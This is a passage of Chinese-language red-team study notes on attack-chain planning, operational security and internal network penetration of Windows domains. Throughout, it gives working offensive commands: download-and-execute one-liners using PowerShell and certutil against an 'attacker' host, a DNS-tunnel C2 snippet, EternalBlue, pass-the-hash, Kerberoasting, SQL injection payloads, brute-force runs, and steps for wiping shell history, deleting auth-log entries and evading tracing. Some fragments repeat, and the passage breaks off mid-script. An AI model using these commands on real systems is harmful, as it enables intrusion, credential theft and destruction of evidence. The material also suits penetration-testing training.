拓展:动手实践方法:
渐进式实践路径:
基础实验:单一技术点验证
# 例如:验证NTLM中继攻击 python3 ntlmrelayx.py -tf targets.txt python3 -m SimpleHTTPServer 80 # 创建伪造页面触发认证综合实验:多技术联合验证
# 例如:完整权限提升链 # 1. 使用钓鱼邮件获取初始访问 # 2. 使用凭据收集获
八、专题研究与知识拓展(续)
2. 学习方法与资源利用(续)
动手实践(续):
本地搭建环境验证理论
实际操作加深理解
从业务角度理解技术
拓展:动手实践方法(续):
渐进式实践路径(续):
综合实验:多技术联合验证
# 例如:完整权限提升链 # 1. 使用钓鱼邮件获取初始访问 # 2. 使用凭据收集获取本地账户 # 3. 利用本地提权漏洞提升至系统权限 # 4. 转储SAM数据库获取本地哈希 # 5. 使用Pass-the-Hash进行横向移动模拟目标环境:基于真实场景设计
# 例如:构建类似目标环境的测试网络 # 1. 相同操作系统版本 # 2. 类似网络架构 # 3. 相似安全措施 # 4. 同类应用程序配置
从业务角度考虑的渗透测试实验:
模拟金融业务流程
搭建具有交易系统、用户管理、财务报表的测试环境
评估各业务节点的安全风险
分析攻击对业务连续性的影响
制造业控制系统实验
模拟OT/IT网络隔离架构
测试工业协议安全性(如Modbus, OPC UA)
评估安全措施对生产效率的影响
思维培养:
保持独立思考能力
构建完整攻击链思维
从安全视角考虑问题
拓展:安全思维培养方法:
攻击链思维框架:
每个攻击步骤应考虑以下问题:
前置条件
:需要什么条件才能执行这一步?
所需权限级别
必要的网络连接
目标系统上需要的服务/应用
实施方法
:可以使用哪些具体技术?
主要方法
备选方案
应对防御的变通手段
检测与规避
:如何避免被发现?
可能的检测点
绕过方法
最小化行动痕迹的技术
失败备案
:如果这一步失败,有什么替代方案?
替代攻击路径
降级攻击方案
撤退策略
思维训练实例:
针对一个假设场景"获取域管理员权限",构建完整思路:
1. 初始访问 - 前置条件:外部可达服务或用户交互 - 实施方法:钓鱼邮件、web漏洞利用、VPN爆破 - 规避方法:使用合法工具、限制连接频率 - 备案:尝试供应链攻击、社会工程学 2. 权限提升 - 前置条件:普通用户访问权 - 实施方法:本地提权漏洞、配置错误利用 - 规避方法:使用内存执行、避免创建文件 - 备案:保持低权限横向移动寻找弱点 3. 凭据获取 - 前置条件:本地管理员权限 - 实施方法:内存dump、SAM提取、DPAPI破解 - 规避方法:避免触发内存扫描、限制LSASS访问频率 - 备案:键盘记录、会话劫持 4. 横向移动 - 前置条件:有效凭据、网络连通性 - 实施方法:PsExec、WMI、DCOM - 规避方法:模拟正常管理操作、使用允许的协议 - 备案:尝试不同的移动技术、改变目标优先级 5. 域控接管 - 前置条件:高价值服务器访问权 - 实施方法:DCSync、Pass-the-Ticket、Golden Ticket - 规避方法:限制特权操作时间窗口、伪装合法活动 - 备案:退而求其次获取敏感数据访问权
九、红队思维与技能培养
1. 独立思考的重要性
方案构建能力:
能构建自己的攻击方案远比会使用工具重要
基于自己技术基础构建方案是最佳实践
保持技术敏锐度和开放思维
拓展:培养独立解决问题的方法:
技术识别与方案构建方法:
系统分析法
1. 确定目标系统类型(Windows服务器、Linux应用服务器等) 2. 识别关键组件(Web服务器、数据库、中间件等) 3. 分析版本信息和补丁级别 4. 查找组件间交互点和信任关系 5. 评估每个组件的潜在弱点 6. 构建利用链路,将各弱点连接起来逆向工程思维
1. 从最终目标开始(如获取域管理员权限) 2. 确定获得这一目标所需的直接条件(访问域控制器+管理员凭据) 3. 继续分解每个条件所需的前置条件 4. 直到找到当前具备或可以创造的初始条件 5. 从初始条件开始向前制定攻击计划异常检测思维
1. 观察系统的正常行为和配置 2. 寻找偏离标准的异常点 - 非标准端口上运行的服务 - 不同寻常的权限配置 - 过时的组件或非常见配置 3. 针对这些异常点进行深入分析 4. 评估是否可转化为攻击路径
信心因素:
对自己方案有信心是决定性因素
了解技术细节才能有信心推进
知道每一步是否扎实
拓展:建立技术信心的方法:
建立个人知识库
# 创建结构化笔记系统,记录每次成功和失败的案例 # 示例目录结构 ~/pentest_notes/ ├── techniques/ # 按技术分类 │ ├── web/ │ ├── windows/ │ └── linux/ ├── tools/ # 工具使用笔记 ├── vulnerabilities/ # 漏洞利用笔记 └── case_studies/ # 实际案例分析渐进式复杂度
从简单环境开始测试
逐步增加复杂度和防御措施
记录每一步的成功条件和失败原因
技术验证练习
# 例:验证SSH隧道的稳定性 # 1. 创建测试隧道 ssh -L 8080:internal:80 user@jumphost # 2. 监控连接状态 watch -n 5 "netstat -an | grep 8080" # 3. 测试不同网络条件 # - 模拟网络延迟 sudo tc qdisc add dev eth0 root netem delay 100ms # - 模拟丢包 sudo tc qdisc add dev eth0 root netem loss 5% # 4. 记录结果并改进配置技术深度学习
不仅学习工具使用,还要理解底层原理
阅读源代码理解关键实现
尝试自己实现简化版本的工具
2. 操作习惯与环境
Tmux与Linux操作:
熟练使用Tmux进行终端管理
掌握Linux shell快捷方式
养成良好操作习惯提高效率
拓展:高效操作环境配置:
Tmux核心配置与快捷键:
# .tmux.conf基本配置 cat << EOF > ~/.tmux.conf # 使用Ctrl+a作为前缀键 unbind C-b set -g prefix C-a # 启用鼠标 set -g mouse on # 增加历史记录 set -g history-limit 50000 # 设置窗口和面板从1开始编号 set -g base-index 1 setw -g pane-base-index 1 # 自动重命名窗口 set-window-option -g automatic-rename on # 状态栏配置 set -g status-position bottom set -g status-style bg=colour234,fg=colour137 EOF常用Tmux操作:
# 会话管理 Ctrl+a c 创建新窗口 Ctrl+a , 重命名当前窗口 Ctrl+a 数字 切换到指定窗口 Ctrl+a " 列出并选择窗口 # 窗格操作 Ctrl+a % 垂直分割窗格 Ctrl+a " 水平分割窗格 Ctrl+a 方向键 在窗格间移动 Ctrl+a z 最大化/还原当前窗格 # 复制模式 Ctrl+a [ 进入复制模式 空格键 开始选择 Enter 复制选择内容 Ctrl+a ] 粘贴高效Shell操作技巧:
# 命令历史快速搜索 Ctrl+r 搜索历史命令 # 命令行编辑 Ctrl+a 移动到行首 Ctrl+e 移动到行尾 Alt+f 向前移动一个单词 Alt+b 向后移动一个单词 Ctrl+k 删除光标到行尾 Ctrl+u 删除光标到行首 # 作业控制 Ctrl+z 挂起程序 bg 在后台继续运行 fg 将程序带回前台 jobs 查看后台作业 # 目录导航 cd - 返回上一目录 pushd dir 将目录加入堆栈并切换 popd 弹出堆栈顶部目录并切换笔记系统建立:
以思路流转为主记录过程
将重要凭据放在容易查找的位置
不过度依赖笔记,关键信息记在脑中
拓展:渗透测试笔记系统:
有效笔记结构:
# 渗透测试笔记模板 ## 1. 项目信息 - 目标: [目标名称] - 范围: [IP范围/域名] - 时间: [开始-结束日期] ## 2. 信息收集 - 网络扫描结果 - 域名信息 - 服务识别 ## 3. 漏洞评估 - 发现的漏洞列表 - 漏洞优先级排序 - 利用可行性分析 ## 4. 攻击路径 - 路径1: [简要描述] - 立足点获取: [方法] - 权限提升: [方法] - 横向移动: [方法] - 路径2: [简要描述] ## 5. 凭据库 - [系统/服务]: [用户名]:[密码/哈希] - [系统/服务]: [用户名]:[密码/哈希] ## 6. 重要命令记录关键凭据管理:
# 使用加密存储凭据 # 1. 创建加密凭据文件 openssl enc -aes-256-cbc -salt -in creds.txt -out creds.txt.enc rm creds.txt # 删除原文件 # 2. 解密查看 openssl enc -aes-256-cbc -d -in creds.txt.enc -out /dev/stdout # 3. 将常用凭据导出为环境变量(临时使用) export TARGET_USER=admin export TARGET_PASS=Password123 # 4. 使用环境变量 sshpass -p $TARGET_PASS ssh $TARGET_USER@host沉浸式学习:
模拟真实场景的紧张感
"卡自己"以获得更深刻体验
在有限环境中寻找突破
拓展:沉浸式学习方法:
时间限制演练
# 使用计时器进行演练 # 设置30分钟计时器 termdown 30m & # 在有限时间内完成特定任务 # 例如: 30分钟内从立足点提升到系统权限模拟后果
设定规则:如果特定操作失败,则放弃当前路径
限制工具使用:只允许使用特定工具集
模拟警报触发:如果生成过多日志,则视为任务失败
受限环境练习
# 限制网络访问模拟隔离环境 # 创建隔离网络命名空间 sudo ip netns add restricted # 在隔离环境中启动shell sudo ip netns exec restricted bash # 只允许特定连接 sudo iptables -A OUTPUT -d target_ip -j ACCEPT sudo iptables -A OUTPUT -j DROP角色扮演练习
扮演不同角色:攻击者、防御者、系统管理员
记录并分析各角色视角下的关键点
从防御者角度预测并规避检测
3. 经验总结与反思
刻骨铭心体验:
寻找攻击过程中的关键节点
挫折和成功的时刻都是学习机会
将经验转化为系统性方法
拓展:关键经验记录与反思:
反思框架模板:
# 渗透测试反思记录 ## 情境描述 [详细描述当时面临的技术场景和挑战] ## 尝试的方法 1. [方法1] - 结果: [成功/失败] 2. [方法2] - 结果: [成功/失败] 3. [方法3] - 结果: [成功/失败] ## 决定性突破 [描述最终成功的方法或关键转折点] ## 学到的经验 1. 技术层面: - [具体技术点1] - [具体技术点2] 2. 思维层面: - [思维方式的改变] - [问题分析方法的调整] 3. 流程层面: - [工作流程的优化] - [决策过程的改进] ## 未来改进 1. [需要深入学习的技术领域] 2. [需要准备的工具或脚本] 3. [需要调整的思维习惯]案例分析法:
# 失败案例分析 ## 关键失败点 [确定导致失败的具体环节或决定] ## 根本原因分析 1. 技术因素: - [技术能力不足] - [工具局限性] 2. 信息因素: - [信息收集不全] - [判断依据不足] 3. 决策因素: - [决策过于仓促] - [未考虑备选方案] ## 复盘验证 [设计验证实验确认根本原因] ## 防止复现策略 1. [具体改进措施1] 2. [具体改进措施2]业务与技术结合:
理解业务功能对渗透测试至关重要
基于业务链条构建合理攻击链
从运维角度思考安全问题
拓展:业务视角的安全分析:
业务流程安全映射:
识别关键业务流程
# 银行转账业务流程示例 1. 用户登录 -> 2. 验证身份 -> 3. 选择收款人 -> 4. 输入金额 -> 5. 确认交易 -> 6. 双因素认证 -> 7. 执行转账 -> 8. 通知双方映射技术组件
1. 用户登录 [Web前端 + 认证服务] 2. 验证身份 [身份验证API + 会话管理] 3. 选择收款人 [用户数据库查询] 4. 输入金额 [表单验证 + 业务规则检查] 5. 确认交易 [交易预检API] 6. 双因素认证 [2FA服务 + SMS网关] 7. 执行转账 [核心银行系统API + 事务处理] 8. 通知双方 [通知服务 + 消息队列]识别攻击面
1. 用户登录 [凭据窃取、会话劫持、暴力破解] 2. 验证身份 [认证绕过、会话Fixation] 3. 选择收款人 [SQL注入、IDOR漏洞] 4. 输入金额 [客户端验证绕过、业务逻辑漏洞] 5. 确认交易 [CSRF、请求伪造] 6. 双因素认证 [SMS劫持、2FA绕过] 7. 执行转账 [事务操作漏洞、竞争条件] 8. 通知双方 [通知劫持、信息泄露]
运维视角的安全考量:
# 系统管理员日常任务与安全风险 1. 账户管理 - 风险: 账户创建/删除流程中的特权升级 - 攻击点: 自动化脚本、临时权限持久化 2. 补丁管理 - 风险: 测试环境到生产环境的差异 - 攻击点: 补丁部署工具、测试账户 3. 配置变更 - 风险: 配置文件中的凭据和敏感信息 - 攻击点: 配置备份、临时文件、版本控制 4. 监控与日志 - 风险: 管理界面及API的访问控制 - 攻击点: 监控工具自身的漏洞、日志轮转脚本避免一成不变:
不局限于单一工具或方法
灵活调整策略应对不同情况
持续学习新技术和方法
拓展:技术多样性培养:
工具替代方案准备:
# 为每个关键功能准备多种工具 # 端口扫描 # 主要工具: nmap nmap -sS -p- 192.168.1.1 # 替代方案1: masscan masscan -p1-65535 192.168.1.1 --rate=1000 # 替代方案2: 自定义脚本 for p in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$p) >/dev/null 2>&1 && echo "$p open" done混合攻击策略:
# Web应用攻击多样化 ## 方法1: 直接SQL注入 ' OR 1=1 -- ## 方法2: 基于时间的盲注 ' AND IF(1=1, SLEEP(2), 0) -- ## 方法3: 基于错误的注入 ' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) -- ## 方法4: 二阶注入 # 在一处存储payload,在另一处触发持续学习计划:
# 按季度的技能拓展计划 ## Q1: 网络协议深度学习 - 学习SMB协议内部结构 - 研究Kerberos认证机制 - 探索LDAP查询和过滤 ## Q2: 代码审计能力 - 学习一种新的编程语言 - 审计开源项目寻找漏洞 - 开发自定义漏洞利用 ## Q3: 防御绕过技术 - 研究最新EDR/XDR解决方案 - 开发内存加载技术 - 测试代码签名绕过方法 ## Q4: 新兴技术安全 - 云服务安全评估 - 容器逃逸技术 - Kubernetes集群渗透
十、安全操作与风险控制
1. 数据安全处理
敏感数据风险:
处理敏感数据需注意法律风险
50条以上数据买卖在国内非常敏感
避免接触可能带来法律问题的数据
拓展:安全数据处理实践:
数据脱敏处理:
# 使用sed进行基本数据脱敏 # 替换身份证号码 sed -E 's/([0-9]{6})([0-9]{8})([0-9]{4})/\1********\3/g' data.txt # 替换电话号码 sed -E 's/([0-9]{3})([0-9]{4})([0-9]{4})/\1****\3/g' data.txt # 替换邮箱地址 sed -E 's/([a-zA-Z0-9._%+-]+)@([a-zA-Z0-9.-]+\.[a-zA-Z]{2,})/****@\2/g' data.txt安全数据存储:
# 使用GPG加密敏感文件 # 生成密钥 gpg --gen-key # 加密文件 gpg -e -r "Your Name" sensitive_data.txt # 安全删除原文件 shred -u sensitive_data.txt # 解密文件(需要时) gpg -d sensitive_data.txt.gpg > sensitive_data.txt内存中处理敏感数据:
# Python示例:在内存中处理敏感数据,不写入磁盘 import re # 从网络或命令行读取数据,避免写入文件 data = input("输入敏感数据: ") # 内存中处理 processed_data = re.sub(r'(\d{3})(\d{4})(\d{4})', r'\1****\3', data) # 使用处理后数据,完成后从内存清除 print("处理结果:", processed_data) # 显式清除变量 data = None processed_data = None个人痕迹管理:
尽量少留个人痕迹
避免在公开场合发表敏感言论
了解溯源技术,知道如何被追踪
拓展:最小化个人痕迹:
在目标系统上:
# 1. 清理shell历史 history -c rm ~/.bash_history # 2. 使用环境变量禁用历史 export HISTSIZE=0 # 3. 清理临时文件 find /tmp -user $(whoami) -delete # 4. 清理日志条目(需谨慎,可能触发警报) # 不直接删除日志文件,而是删除特定条目 sed -i '/your_username/d' /var/log/auth.log网络操作:
# 1. 使用代理链 proxychains nmap 192.168.1.1 # 2. 流量伪装 # 使HTTP流量看起来像正常浏览 curl --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" target.com # 3. 使用Tor网络 torsocks wget http://target.com个人身份保护:
# 创建专用虚拟机 # 1. 使用没有个人信息的干净系统 # 2. 使用桥接VPN # 3. 避免登录个人账户 # 4. 不同项目使用不同虚拟机了解溯源技术:知道如何被追踪有助于减少风险
拓展:常见溯源技术与对策:
IP地址追踪
溯源方法:记录访问日志、CDN日志、ISP记录
对策:使用多层代理、Tor网络、公共WiFi
浏览器指纹
溯源方法:Canvas指纹、字体检测、插件列表
对策:使用专用浏览器配置、禁用JavaScript、使用虚拟机
设备指纹
溯源方法:MAC地址、系统UUID、硬
十、安全操作与风险控制(续)
1. 数据安全处理(续)
了解溯源技术:知道如何被追踪有助于减少风险
拓展:常见溯源技术与对策:
IP地址追踪
溯源方法:记录访问日志、CDN日志、ISP记录
对策:使用多层代理、Tor网络、公共WiFi
浏览器指纹
溯源方法:Canvas指纹、字体检测、插件列表
对策:使用专用浏览器配置、禁用JavaScript、使用虚拟机
设备指纹
溯源方法:MAC地址、系统UUID、硬件序列号
对策:使用MAC地址欺骗、虚拟机、公共设备
文件元数据
溯源方法:EXIF数据、文档属性、创建者信息
对策:使用元数据清理工具、避免共享原始文件
网络行为分析
溯源方法:流量模式识别、连接时间分析、数据量分析
对策:规律化流量、混合正常流量、避免独特模式
# 文件元数据清理示例 # 安装exiftool apt-get install exiftool # 查看文件元数据 exiftool document.docx # 清除所有元数据 exiftool -all= document.docx # 创建没有元数据的PDF exiftool -all:all= -overwrite_original document.pdf
2. 平衡效率与安全
工具选择:
商业工具vs自研工具的权衡
使用现成工具提高效率
理解工具背后原理保持控制
拓展:工具选择决策框架:
工具评估矩阵(评分1-5,5为最佳):
选择策略:
时间紧迫:优先选择商业工具或熟悉的开源工具
# 使用Metasploit进行快速漏洞利用 msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 exploit高隐蔽需求:优先选择自研工具或高度定制化的开源工具
# 使用自定义C2通道 # 创建特定于目标环境的通信协议 # 例如:将数据隐藏在DNS请求中 # Python示例片段 import dns.resolver import base64 def send_command(command, domain="example.com"): encoded = base64.b64encode(command.encode()).decode() chunks = [encoded[i:i+30] for i in range(0, len(encoded), 30)] results = [] for i, chunk in enumerate(chunks): subdomain = f"{i}.{chunk}.{domain}" try: answers = dns.resolver.resolve(subdomain, 'TXT') for rdata in answers: results.append(str(rdata)) except Exception: pass return ''.join(results)特殊环境:基于环境限制选择合适工具
# 受限环境中使用PowerShell单行命令 powershell -ep bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')" # 无PowerShell环境使用certutil certutil -urlcache -split -f http://attacker/payload.b64 payload.b64 certutil -decode payload.b64 payload.exe操作风险评估:
评估每项操作的暴露风险
在必要时接受适度风险
为高风险操作做好应对预案
拓展:操作风险评估方法:
风险评估模板:
操作: [具体操作描述] 1. 风险级别评估 - 检测可能性: [低/中/高] - 失败影响: [低/中/高] - 行动价值: [低/中/高] - 综合风险: [低/中/高] 2. 检测向量 - 系统日志: [会产生什么日志] - 网络流量: [会产生什么特征流量] - 文件系统: [会产生什么文件变化] - 进程活动: [会产生什么进程活动] 3. 缓解策略 - [具体缓解方法1] - [具体缓解方法2] 4. 应急计划 - 如果操作被检测: [应对措施] - 如果操作失败: [备选方案] - 撤退策略: [安全退出方法]实际操作风险评估示例:
操作: 在目标Windows服务器上转储LSASS内存 1. 风险级别评估 - 检测可能性: 高 (EDR常监控) - 失败影响: 中 (可能触发警报但不一定暴露完整行动) - 行动价值: 高 (可获取域凭据) - 综合风险: 中高 2. 检测向量 - 系统日志: 进程访问LSASS事件ID 4656 - 网络流量: 可能的大型数据传输 - 文件系统: 临时dump文件 - 进程活动: 异常进程访问LSASS.exe 3. 缓解策略 - 使用原生工具如Task Manager创建dump - 直接在内存中提取凭据不保存dump - 选择低监控时段执行 - 避免使用已知工具如mimikatz 4. 应急计划 - 如果操作被检测: 立即清理临时文件,停止当前活动 - 如果操作失败: 尝试使用WDigest或DPAPI方法 - 撤退策略: 确保不留下dump文件,清理日志资源购买考量:
有时用小额费用解决问题是效率选择
评估成本与收益比
了解相关法律和道德边界
拓展:资源获取决策框架:
合法资源获取评估:
需求明确化
确切需要什么信息/服务?
该信息/服务对目标的价值?
有无替代获取方法?
合法性评估
该信息是否属于公开信息?
是否触及个人隐私或敏感数据?
获取方式是否符合相关法规?
成本效益分析
购买成本与预期价值比较
与替代方法的成本比较
时间节约价值评估
风险评估
供应商可信度评估
交易方式安全性
关联风险评估
合法资源示例:
# 合法的付费资源示例 1. 域名WHOIS历史数据服务 - 用途: 深入了解目标的域名历史 - 合法服务提供商: DomainTools, SecurityTrails - 替代方案: Internet Archive (有限数据) 2. 漏洞数据库订阅 - 用途: 获取详细漏洞信息和利用方法 - 合法服务提供商: VulnDB, Exploit-DB Pro - 替代方案: 开源情报收集(耗时) 3. 云服务器租用 - 用途: 搭建测试环境或C2服务器 - 合法服务提供商: AWS, Azure, DigitalOcean - 替代方案: 本地虚拟化(功能受限)
十一、本周进度与技术重点
1. 谨慎地开始内网渗透
机器权限保护:获得立足点后首要任务是确保不丢失权限
隐蔽行动:避免行为触发安全告警或被管理员发现
持久化:尽快建立持久访问机制,增加立足点的稳定性
拓展:初始立足点的谨慎操作:
# 1. 首先了解当前用户和权限 id whoami groups # 2. 查看登录记录,了解系统使用情况 last | head lastlog | grep -v "Never" # 3. 检查监控和日志系统 ps aux | grep -i "audit\|monitor\|log" find /etc -name "*log*.conf" 2>/dev/null # 4. 检查系统负载,选择低负载时段操作 uptime top -n 1 # 5. 建立基础信息收集,但限制操作强度 uname -a cat /etc/*-release ifconfig -a netstat -antup | grep ESTABLISHED
2. 权限提升尝试
本地提权:分析当前权限级别,寻找可能的提权路径
优先级评估:评估当前权限能否满足基本操作需求
风险平衡:在提权尝试和保持低调之间找到平衡点
拓展:Linux权限提升检查清单:
# 1. 内核漏洞检查 uname -r cat /proc/version # 2. 可利用的SUID文件 find / -perm -u=s -type f 2>/dev/null # 3. 异常权限配置 sudo -l # 4. 定时任务检查 crontab -l ls -la /etc/cron* # 5. 可写配置文件 find /etc -writable -type f 2>/dev/null # 6. 检查历史命令中的敏感信息 cat ~/.bash_history # 7. 寻找明文凭据 grep -r "password\|pass\|pwd" /etc/ 2>/dev/null grep -r "password\|pass\|pwd" /home/ 2>/dev/null # 8. 找出世界可写的目录(用于植入文件) find / -writable -type d 2>/dev/null
3. 扫描的全面性
多角度信息收集:结合多种技术获取网络信息
渐进式扫描:从最小范围开始,逐步扩大扫描范围
工具选择:平衡使用本地系统工具和专业扫描工具
拓展:低噪声网络扫描策略:
# 1. 基于系统配置的被动发现 cat /etc/hosts ip route arp -an # 2. 有限ping扫描(关键IP或网关) ping -c 1 192.168.1.1 ping -c 1 192.168.1.254 # 3. 针对性端口扫描(避免扫描整个网段) nc -zv 192.168.1.1 22 80 443 445 3389 # 4. 逐步扩展到更多主机 for host in 1 10 20 50 100 150 200 250; do ping -c 1 -W 1 192.168.1.$host 2>/dev/null && echo "192.168.1.$host is up" done # 5. 识别关键服务器后定向深度扫描 nmap -sT -p 22,53,80,389,636,3389 -T2 192.168.1.10 # 6. 基于发现结果的网段推断 # 例如发现10.1.1.x和10.1.2.x的机器,推断两个不同子网
4. 隧道化技术应用
隧道建立目的:将内部网络资源引出到外部控制环境
稳定连接:确保隧道长时间稳定运行,避免频繁重连
工具选择:根据环境限制选择合适的隧道技术
拓展:高级隧道建立技术:
# 1. 基本SSH本地端口转发 ssh -L 8080:internal-server:80 user@compromised-host # 2. 使用SSH-Pass自动输入密码(避免交互) sshpass -p "password" ssh -L 8080:internal-server:80 user@compromised-host # 3. SSH动态SOCKS代理 ssh -D 9050 user@compromised-host # 4. 多级转发(跳板机) ssh -L 8080:internal-server2:80 -J user1@host1 user2@host2 # 5. 反向SSH隧道(从内网连接到外部) # 在内部服务器上执行: ssh -R 8080:localhost:80 user@external-server # 6. 自动重连脚本 cat << 'EOF' > tunnel_keeper.sh #!/bin/bash while true; do if ! pgrep -f "ssh -D 9050" > /dev/null; then sshpass -p "password" ssh -D 9050 -o ServerAliveInterval=30 user@host & fi sleep 60 done EOF chmod +x tunnel_keeper.sh
5. 优先级分析
资产价值评估:识别高价值目标和关键系统
攻击路径规划:确定从立足点到目标的可能路径
风险分析:评估每个攻击路径的风险和成功率
拓展:目标优先级评分系统:
目标价值评分标准(1-5分,5为最高价值):
系统角色
域控制器/关键认证服务器(5分)
数据库/文件服务器(4分)
应用服务器(3分)
工作站(2分)
非关键基础设施(1分)
网络位置
跨网段核心系统(5分)
网段间的桥接系统(4分)
子网内重要系统(3分)
普通网络系统(2分)
边缘/隔离系统(1分)
业务影响
业务核心系统(5分)
重要支持系统(4分)
常规业务系统(3分)
辅助系统(2分)
非业务系统(1分)
攻击路径复杂度评分(1-5分,1为最简单):
技术复杂度
需要高级0day(5分)
需要高级技术组合(4分)
需要特定漏洞利用(3分)
需要常规技术(2分)
简单漏洞利用(1分)
检测风险
几乎肯定会被检测(5分)
可能被检测(3-4分)
较难被检测(1-2分)
决策矩阵举例:
目标: 域控制器 - 系统角色: 5分 (核心认证服务器) - 网络位置: 4分 (多网段访问) - 业务影响: 5分 (认证核心) - 总价值得分: 14/15 攻击路径1: 通过工作站横向移动 - 技术复杂度: 2分 (pass-the-hash) - 检测风险: 3分 (中等检测风险) - 总难度得分: 5/10 攻击路径2: 直接攻击域控 - 技术复杂度: 4分 (需要多种技术) - 检测风险: 5分 (高检测风险) - 总难度得分: 9/10 决策: 选择攻击路径1 (高价值+较低难度)
6. 域信息枚举
域结构分析:理解Active Directory的组织和信任关系
用户和组枚举:识别关键用户、特权组和服务账户
服务枚举:发现域内关键服务和应用
拓展:域环境信息收集:
初步域环境分析:
# 1. 基本域信息 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() # 2. 域控制器查找 nslookup -type=srv _ldap._tcp.dc._msdcs.<domain> # 3. 域用户枚举 net user /domain # 4. 域管理员组成员 net group "Domain Admins" /domain # 5. 当前域信任关系 nltest /domain_trusts # 6. 查询域策略 gpresult /r # 7. 域内查找SPN账户(Kerberoasting目标) setspn -T <domain> -Q */* # 8. PowerView基本用法(如果可以导入) Import-Module .\PowerView.ps1 Get-DomainController Get-DomainUser -AdminCount Find-DomainUserLocation -StealthLDAP查询技术:
# 使用ldapsearch工具(需提供域凭据) # 1. 枚举域用户 ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(objectCategory=person))" # 2. 查找域管理员 ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com))" # 3. 查找服务账户 ldapsearch -x -h <dc_ip> -D "user@domain.com" -w "password" -b "dc=domain,dc=com" "(&(objectClass=user)(servicePrincipalName=*))"
7. 域攻击准备
攻击向量识别:基于域枚举结果识别可能的攻击路径
权限需求:确定执行域攻击所需的最低权限
工具准备:准备针对域环境的攻击工具
拓展:常见域攻击向量:
Kerberoasting:针对服务账户的票据破解
# 使用PowerView Import-Module .\PowerView.ps1 Request-SPNTicket -SPN "service/host" | Export-Csv .\tickets.csv # 使用Rubeus Rubeus.exe kerberoast /outfile:hashes.txt # 使用Impacket python GetUserSPNs.py domain.com/user:password -dc-ip 192.168.1.10 -request # 使用hashcat破解 hashcat -m 13100 tickets.txt wordlist.txtAS-REP Roasting:针对未启用预认证的账户
# 使用Rubeus Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # 使用Impacket python GetNPUsers.py domain.com/ -usersfile users.txt -dc-ip 192.168.1.10 # 破解哈希 hashcat -m 18200 asrep.txt wordlist.txtNTLM中继/传递:重用凭据横向移动
# 使用Impacket的ntlmrelayx python ntlmrelayx.py -tf targets.txt -smb2support # 使用CrackMapExec进行Pass-the-Hash crackmapexec smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
8. 爆破技术准备
爆破目标选择:识别适合爆破的服务和接口
字典准备:根据目标环境定制化爆破字典
限速策略:避免触发账户锁定或防爆破机制
拓展:智能爆破技术:
针对性字典生成:
# 1. 基于公司信息生成字典 cat << EOF > company_info.txt CompanyName FoundedYear ProductNames Locations EOF # 使用cupp根据基础信息生成字典 python cupp.py -i # 2. 基于已知密码策略定制字典 # 假设策略要求: 至少8位,大小写字母,数字,特殊字符 # 使用hashcat规则扩展基础词表 hashcat --stdout wordlist.txt -r custom.rule > enhanced_wordlist.txt # 自定义规则示例 custom.rule # 添加年份 $2023 $2024 # 首字母大写加特殊字符 c $! c $@智能爆破策略:
# 1. 低频爆破避免锁定 hydra -l admin -P top10.txt -t 1 -W 3 -f -V 192.168.1.10 http-post-form "/login:user=^USER^&pass=^PASS^:F=Failed" # 2. 分布式爆破(多IP源) # 在多台机器上运行,每台处理部分字典 # 3. 服务特定爆破技术 # SSH密钥爆破 hydra -l root -P keys_list.txt 192.168.1.10 ssh-key # 4. 基于已知信息的定向爆破 # 例如已知用户名,生成针对性密码列表 username="johndoe" echo "${username}123" >> targeted_list.txt echo "${username}!" >> targeted_list.txt echo "Welcome1" >> targeted_list.txt # 常见企业默认密码
十二、时间同步与敏感操作
1. 时钟同步问题
域环境的时间要求:Kerberos依赖精确时间同步
时间差异的影响:时间不同步会导致认证失败
同步策略:确保本机与目标系统时间接近一致
拓展:域环境中的时间同步问题:
检查与修复时间同步:
# 1. 查看当前系统时间 Get-Date # 2. 查看当前时间源 w32tm /query /source # 3. 检查与域控制器的时间偏差 w32tm /stripchart /computer:dc.domain.com /samples:5 /dataonly # 4. 手动同步时间 w32tm /resync /computer:dc.domain.com # 5. 如果无法直接同步,手动设置时间 Set-Date "2023-12-25 14:30:00" # 6. 在Linux系统上 # 查看时间 date # 设置时间 sudo date -s "2023-12-25 14:30:00" # 与NTP服务器同步 sudo ntpdate domain-controllerKerberos时间依赖:
# Kerberos协议标准要求: - 客户端与KDC(域控制器)之间的时间差异不超过5分钟 - 超过此限制会导致Kerberos认证失败 - 错误消息通常为"Clock skew too great" # Kerberos票据中的时间字段: - authtime: 认证时间 - starttime: 票据有效起始时间 - endtime: 票据过期时间 - renew-till: 票据最长续订期限
2. 时间窗口操作
限时攻击:某些攻击需要在特定时间窗口内完成
验证码有效期:获取验证码后需要在短时间内使用
会话令牌:临时令牌可能有严格的有效期限制
拓展:时间敏感操作处理:
自动化时间窗口脚本:
#!/bin/bash # 用于在特定时间窗口内执行操作的脚本 # 1. 定义目标操作时间和窗口大小 TARGET_TIME="14:00:00" WINDOW_SECONDS=120 # 2. 计算目标时间戳 TARGET_TS=$(date -d "today $TARGET_TIME" +%s) # 3. 当前时间戳 CURRENT_TS=$(date +%s) # 4. 计算等待时间 WAIT_TIME=$((TARGET_TS - CURRENT_TS)) if [ $WAIT_TIME -gt 0 ]; then echo "等待目标时间窗口,还需 $WAIT_TIME 秒..." sleep $WAIT_TIME fi echo "开始执行时间敏感操作..." # 执行主要操作 ./primary_attack.sh # 5.
-.-
评论区